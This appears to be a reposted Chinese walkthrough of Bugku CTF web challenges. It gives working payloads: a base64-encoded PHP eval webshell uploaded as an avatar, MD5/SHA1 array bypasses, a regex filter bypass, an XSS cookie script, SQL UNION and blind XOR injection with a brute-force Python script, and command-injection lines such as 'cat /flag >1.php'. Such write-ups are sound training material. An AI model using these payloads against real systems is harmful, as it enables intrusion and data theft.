bugku3

xxx二手交易市场

进去是这样讴歌乱进的页面

查看了一下源代码也没什么

先随便注册一个账号

然后登录

随便看了看,发现可以修改头像

上传文件

随便上传了一个图片

发现他对图片进行了base64加密

解密后得到是

data:image/jpeg;base64

这里重新修改类型为php,后面的一句话木马用base64来加密一下

上传

image=data:image/php;base64,/9j/PD9waHAgQGV2YWwoJF9QT1NUWydhYmMnXSk7Pz4=

蚁剑

前女友 md5

进去又是讴歌乱进的东西

源代码

看到code.txt,访问一下

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];$v3 = $_GET['v3'];if($v1 != $v2 && md5($v1) == md5($v2)){if(!strcmp($v3, $flag)){echo $flag;}}
}
?>

做过好多次了,可以用PHP处理0e开头md5时hash字符串漏洞来绕过

https://www.cnblogs.com/0yst3r-2046/p/10748412.html

 或者利用数组

在PHP中

MD5是不能处理数组的,md5(数组)会返回null

所以即

md5(a[])==null,md5(b[])==null,md5(a[])=md5(b[])=null也可以满足代码中的条件

/?v1[]=1&v2[]=2&v3[]=3;

需要管理员 

进去是404

用dirsearch扫一下

发现robots.txt

看到/resusl.php 

发现需要get传参x为密码

随便尝试一下admin居然成功了

No one knows regex better than me  正则

 <?php 
error_reporting(0);
$zero=$_REQUEST['zero'];
$first=$_REQUEST['first'];
$second=$zero.$first;
if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)){$key=$second;if(preg_match("/\.\.|flag/",$key)){die("Noooood hacker!");}else{$third=$first;if(preg_match("/\\|\056\160\150\x70/i",$third)){$end=substr($third,5);highlight_file(base64_decode($zero).$end);//maybe flag in flag.php}}
}
else{highlight_file(__FILE__);
} 

    preg_match_all(匹配的正则表达式,需要匹配的字符串):=>运用正则表达式匹配规则的全部内容,返回匹配的次数.

$second='Hbwqqqqq';
$a= preg_match_all("/q/i",$second); //返回值是5

    preg_match()同上,只是匹配一次就停止,成功返回1,否则返回0

    substr()字符串的截取函数 共有三个参数 .
        第一个需要截取的字符串
        第二个从第几个开始截取
        第三个截取字符串的长度

$second='Hbwq123';
$c= substr($second,4,2);
print($c);//输出12

审计

传入的两个参数只要有这其中的字符就行了(一个就行)

if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second))

不能有.或者flag

if(preg_match("/\.\.|flag/",$key))

\056\160\150\x70=>.php        为16进制和8进制ascii代码,php可自动识别
这里匹配过程是这样的 \| => | => |
最终为|.php 

if(preg_match("/\\|\056\160\150\x70/i",$third))

$third=$first 仅需构造xxxxx.php型的字符串即可,但是第三次匹配字符为|.php,应当为

xxxx|.php
//xxxx可为oror aaaa 等等 

$zero为base64(‘flag’)即可

ZmxhZw==

/?first=aaaa|.php&zero=ZmxhZw==

各种绕过哟 数组

 <?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {if ($_GET['uname'] == $_POST['passwd'])print 'passwd can not be uname.';else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))die('Flag: '.$flag);elseprint 'sorry!';}
?> 

 只要使uname的sha1的值与passwd的sha1的值相等即可,但是同时他们两个的值又不能相等

get:

/?uname[]=1&id=margin

post:

passwd[]=1;

留言板 存储型xss

进去是这样的

用dirsearch扫描一下

访问一下看看

这里登录我用弱口令都尝试了一下但是没有成功

用bp也没爆破出来。。

看别人wp说有db.sql文件

# Host: localhost  (Version: 5.5.53)
# Date: 2019-08-04 16:13:22
# Generator: MySQL-Front 5.3  (Build 4.234)/*!40101 SET NAMES utf8 */;#
# Structure for table "text"
#CREATE DATABASE xss DEFAULT CHARACTER SET utf8;
use xss; DROP TABLE IF EXISTS `text`;
CREATE TABLE `text` (`Id` int(11) NOT NULL AUTO_INCREMENT,`text` varchar(255) DEFAULT NULL,PRIMARY KEY (`Id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;#
# Data for table "text"
#/*!40000 ALTER TABLE `text` DISABLE KEYS */;
/*!40000 ALTER TABLE `text` ENABLE KEYS */;#
# Structure for table "user"
#DROP TABLE IF EXISTS `user`;
CREATE TABLE `user` (`Id` int(11) NOT NULL AUTO_INCREMENT,`username` varchar(255) DEFAULT NULL,`password` varchar(255) DEFAULT NULL,PRIMARY KEY (`Id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;#
# Data for table "user"
#/*!40000 ALTER TABLE `user` DISABLE KEYS */;
INSERT INTO `user` VALUES (1,'admin','011be4d65feac1a8');
/*!40000 ALTER TABLE `user` ENABLE KEYS */;

INSERT INTO `user` VALUES (1,'admin','011be4d65feac1a8'); 

可以得到账号密码

登陆成功

我们可以发现如果在留言板写入

<script>alert(1)</script>

发现可以被执行

那么我们写入,构造一个获取cookie的js代码

<script>alert(document.cookie)</script>

访问管理员界面 

file_get_contents

 <?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

empty() 函数用于检查一个变量是否为空。empty() 判断一个变量是否被认为是空的。当一个变量并不存在,或者它的值等同于 FALSE,那么它会被认为不存在。如果变量不存在的话,empty()并不会产生警告。

extract()函数从数组里将变量导入到当前的符号表。extract函数:可以进行变量覆盖。
语法:extract(array,extract_rules,prefix)
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组里的各元素,将在当前符号表里创建对应的一个变量。第二个参数 type 用于指定当某个变量已经存在,而数组里又有同名元素时,extract() 函数如何对待这样的突。该函数返回成功导入到符号表里的变量数目。

file_get_contents()把整个文件读入一个字符串里。
语法:file_get_contents(path,include_path,context,start,max_length)
该函数是用于把文件的内容读入到一个字符串里的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。

trim()函数移除字符串两侧的空白字符或其他预定义字符。
语法trim(string,charlist)
经过分析,该段代码是将通过GET方法传入的参数赋值给其内某个变量,传入的参数如果和$fn文件里的字符一致时,便可以得到flag

就是要上传 ac和fn两个参数

且ac的值等于fn文件内容的值

这时候就可以用到php伪协议的php://input

他的作用是可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

顺便记一下这个伪协议需要allow_url_include为on

 用hackbar一直没成功就用了bp

因为我们访问一下flag.txt可以看到

所以我们让ac=bugku也是一样的道理

login2 sql

进去是这样的登录框

抓包先看看

解密

 

$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}

 想要登录成功,可以 通过输入不存在用户,用union select 构造出指定密码的md5值。

username=admin' union select 1,md5(123)#&password=123

发现登录成功

 

    payload:123 | cat /flag >1.php查看 flag文件并输出到1.php里边1.php可以在网站子目录查看内容拿到flag

 点login咋没反应 cookie

进去是这样的登录界面

抓包了 但是一点反应都没有 登陆信息也没有

那查看一下源代码

这里看到admin.css

有点奇怪第一行

访问一下看看

当传入的参数是空的,cookie的值反序列化后等于key,则显示flag 

===:三个等号我们称为等同符,当等号两边的值为相同类型的时候,直接比较等号两边的值,值相同则返回true,若等号两边的值类型不同时直接返回false。

要上传cookie 直接用bp

BUGKU=s:13:"ctf.bugku.com";

 

都过滤了 sql 命令执行

 

进去是这样的登录

放到bp

fuzz一下

经测试逗号被过滤了,但异或符号 ^ 还可以使用,当uname输入非admin时,返回值都为username error,当uname输入admin时,返回值为password error

说明用户名为amdin,接下来开始利用异或注入

  • 判断密码长度:uname=admin'^(length(passwd)=32)^'

    最后的 ‘ 用来闭合原本的右括号,这个结果返回empty,因此页面显示username error;分析返回结果时需要注意sql运算符的优先级, ^ > = ,所以先进行异或运算,最后进行比较运算,且字符串与数字做异或运算时,会先进行类型转换,如’admin’^1相当于0^1;此题中,’admin’相当于0,(length(passwd)=32)相当于1,’’相当于0,所以0^1^0为1,最后进行uname的比较运算,即在数据库中匹配uname=1的数据,而数据库中的uname为’admin’,在进行’admin’=1比较时,’admin’先转换成整型0,0=1为false,所以返回empty。

    同理,当payload中密码长度修改为31时,异或运算相当于0^0^0,结果为0,在做比较运算时,uname=0,而’admin’转化为0,0=0为true,则查询成功,uname绕过了,因此页面显示passwd error;故可以通过这一点判断密码长度为32;猜测密码为md5密文;

判断密码每一位字符:uname=admin'^(ascii(substr((passwd)from(1))=52)^'

用于判读密码第一位的字符(注意mysql和php不同,substr的第一位不是从0开始,而是1);substr((passwd)from(1))利用了括号绕过逗号,相当于substr(passwd,1)。和判断密码长度的原理相同,当密码第一位判断正确时,返回username error,错误时返回passwd error,根据返回结果的不同爆破出32位密码,脚本如下: 

import requests
url='http://114.67.175.224:10288/login.php'
mima=''
r=requests.session()
for i in range(1,33):for j in range(48,123):data={'uname':f"admin'^(ascii(substr((passwd)from({i})))={j})^'",'passwd':'123'}resp=r.post(url,data=data).textif 'username' in resp:print(f"第{i}个:{chr(j)}")mima+=chr(j)
print(mima)

 

得到32位密文后,放入somd5解密得到密码bugkuctf,利用账号admin和密码bugku登录后,进入新的页面

有系统命令执行功能,但过滤部分字符串,获得flag的payload有很多,下面列举几个并作说明: 

cat<>/flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/694657.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【buuctf--我有一只马里奥】

这是一道关于 ntfs 流查看的题目运行 exe 后会出来一个 1.txt 文件 在 exe 和 1.txt 文件目录下打开终端&#xff0c;输入 notepad 1.txt:flag.txt就可以看到答案了。 这么做的原因见BUUCTF misc 专题&#xff08;53&#xff09;[SWPU2019]我有一只马里奥_ntfs flag.txt 马里…

OpenAI新推出的Sora是什么?如何注册使用?

2024年2月16号&#xff0c;OpenAI全新发布文本视频模型Sora&#xff0c;可以通过指令生成特定的视频内容&#xff0c;这对于内容营销、广告宣传、教育教学等行业都将来带来巨大的机遇与挑战。 相信许多人跟小编一样&#xff0c;对此新兴产品跃跃欲试&#xff0c;那么应该如何注…

柔顺控制笔记

参资料&#xff1a; 【1】https://zhuanlan.zhihu.com/p/620918453 【2】https://blog.csdn.net/a735148617/article/details/108564836 【3】https://zhuanlan.zhihu.com/p/126338809 【4】机器人与环境间力_位置控制技术研究与应用_李正义 【5】水下机械臂建模及柔顺控制方法…

Javascript中var和let之间的区别

文章目录 一.变量提升(声)二.let和var的区别 区别&#xff1a; 1、var有变量提升&#xff0c;而let没有&#xff1b; 2、let不允许在相同的作用域下重复声明&#xff0c;而var允许&#xff1b; 3、let没有暂时性死区问题&#xff1b; 4、let创建的全局变量没有给window设置对应…

不同种类遥感图像汇总 !!

文章目录 前言 1、可见光遥感图像 2、全色遥感图像 3、多光谱遥感图像 4、高光谱遥感图像 5、红外遥感图像 6、激光雷达图像 7、合成孔径雷达遥感图像 前言 遥感技术是从远距离感知目标反射或自身辐射的电磁波、可见光、红外线&#xff0c;对目标进行探测和识别的技术。遥感卫…

【JAVA高级面试题】运用锁机制实现一个自定义的阻塞队列

文章目录 前言实战演示写在最后 前言 前几天看见一个高级Java面试题&#xff0c;我觉得很有代表意义。既考察了面试者的基本锁机制运用&#xff0c;也了解了阻塞队列的产生实现原理。先分享出来&#xff0c;以供鉴赏。 面试题&#xff1a;实现一个自定义的阻塞队列&#xff0c…

React 事件处理 ( this问题 参数传递 ref)

React事件的命名采用小驼峰方式&#xff08;cameCase&#xff09;,而不是小写 使用JSX语法时你需要传入一个函数作为事件处理函数&#xff0c;而不是一个字符串 你不能通过返回false 的方式阻止默认行为。你必须显示式的使用preventDefault 1 this 需要谨慎对待JSX回调函数中的…

Linux的Ubuntu的APT使用

Linux的Ubuntu的APT使用 apt 介绍 apt 是 Advanced Packaging Tool 的简称&#xff0c;是一款安装包管理工具。在 Ubuntu 下&#xff0c;我们可以使用 apt 命令进行软件包的安装、删除、清理等&#xff0c;类似于 Windows 中的软件管理工具。 Ubuntu 软件操作的相关命令 su…

Android 面试问题 2024 版(其二)

Android 面试问题 2024 版&#xff08;其二&#xff09; 六、多线程和并发七、性能优化八、测试九、安全十、Material设计和 **UX/UI** 六、多线程和并发 Android 中的进程和线程有什么区别&#xff1f; 答&#xff1a;进程是在自己的内存空间中运行的应用程序的单独实例&…

Maven的下载安装配置教程

一、简单了解一下什么是Maven Maven就是一款帮助程序员构建项目的工具&#xff0c;我们只需要告诉Maven需要哪些Jar 包&#xff0c;它会帮助我们下载所有的Jar&#xff0c;极大提升开发效率。 1.Maven翻译为“专家“&#xff0c; ”内行”的意思&#xff0c;是著名Apache公司下…

Unity基于AssetBundle资源管理流程详解

在Unity游戏开发中&#xff0c;资源管理是一个非常重要的环节。随着游戏的发展&#xff0c;资源会变得越来越庞大&#xff0c;因此需要一种高效的资源管理方式来减少内存占用和加快加载速度。AssetBundle是Unity提供的一种资源打包和加载方式&#xff0c;可以将资源打包成一个独…

Fiddler工具 — 19.Fiddler抓包HTTPS请求(二)

5、查看证书是否安装成功 方式一&#xff1a; 点击Tools菜单 —> Options... —> HTTPS —> Actions 选择第三项&#xff1a;Open Windows Certificate Manager打开Windows证书管理器。 打开Windows证书管理器&#xff0c;选择操作—>查看证书&#xff0c;在搜索…

【Java程序员面试专栏 数据结构】四 高频面试算法题:哈希表

一轮的算法训练完成后,对相关的题目有了一个初步理解了,接下来进行专题训练,以下这些题目就是汇总的高频题目,一个O(1)查找的利器哈希表,所以放到一篇Blog中集中练习 题目关键字解题思路时间空间两数之和辅助哈希使用map存储出现过的值,key为值大小,value为下标位置,…

船舶维保管理系统|基于springboot船舶维保管理系统设计与实现(源码+数据库+文档)

船舶维保管理系统目录 目录 基于springboot船舶维保管理系统设计与实现 一、前言 二、系统功能设计 三、系统实现 1、船舶列表 2、公告信息管理 3、公告类型管理 4、维保计划管理 5、维保计划类型管理 四、数据库设计 1、实体ER图 五、核心代码 六、论文参考 七、…

网络安全-pikachu之SQL注入漏洞(数字型注入)

哦,SQL注入漏洞&#xff0c;可怕的漏洞。 在owasp发布的top10排行榜里&#xff0c;注入漏洞一直是危害排名第一的漏洞&#xff0c;其中注入漏洞里面首当其冲的就是数据库注入漏洞。 一个严重的SQL注入漏洞&#xff0c;可能会直接导致一家公司破产&#xff01; SQL注入漏…

Day3 javaweb开发——登录认证

登录功能 没什么好写的&#xff0c;就是LoginController层里面要注入empService的对象 登录校验&#xff08;重点&#xff09; 没有校验的情况 没有登录之前&#xff0c;访问数据的网址需要跳转到登录页面。 http是无状态的&#xff0c;处理其他业务时没有判断他是否登录 …

Apache POI技术-在Java中的基本使用

Apache POI技术-在Java中的基本使用 文章目录 Apache POI技术-在Java中的基本使用前言一、Apache POI是什么&#xff1f;1.Apache POI简介&#xff1a;2.Apache POI主要包括的模块&#xff1a;3.Apache POI 的应用场景&#xff1a;报表生成&#xff1a;数据导入导出&#xff1a…

HarmonyOS—LocalStorage:页面级UI状态存储

LocalStorage是页面级的UI状态存储&#xff0c;通过Entry装饰器接收的参数可以在页面内共享同一个LocalStorage实例。LocalStorage也可以在UIAbility实例内&#xff0c;在页面间共享状态。 本文仅介绍LocalStorage使用场景和相关的装饰器&#xff1a;LocalStorageProp和LocalS…

Docker技术仓库

数据卷 为什么用数据卷&#xff1f; 宿主机无法直接访问容器中的文件容器中的文件没有持久化&#xff0c;导致容器删除后&#xff0c;文件数据也随之消失容器之间也无法直接访问互相的文件 为解决这些问题&#xff0c;docker加入了数据卷机制&#xff0c;能很好解决上面问题…

FPGA模块——IIC接口设计

FPGA模块——IIC接口设计 IIC协议IIC接口代码应用IIC接口的代码 IIC协议 IIC接口代码 module iic_drive#(parameter P_ADDR_WIDTH 16 )( input i_clk ,//模块输入时钟input i_rs…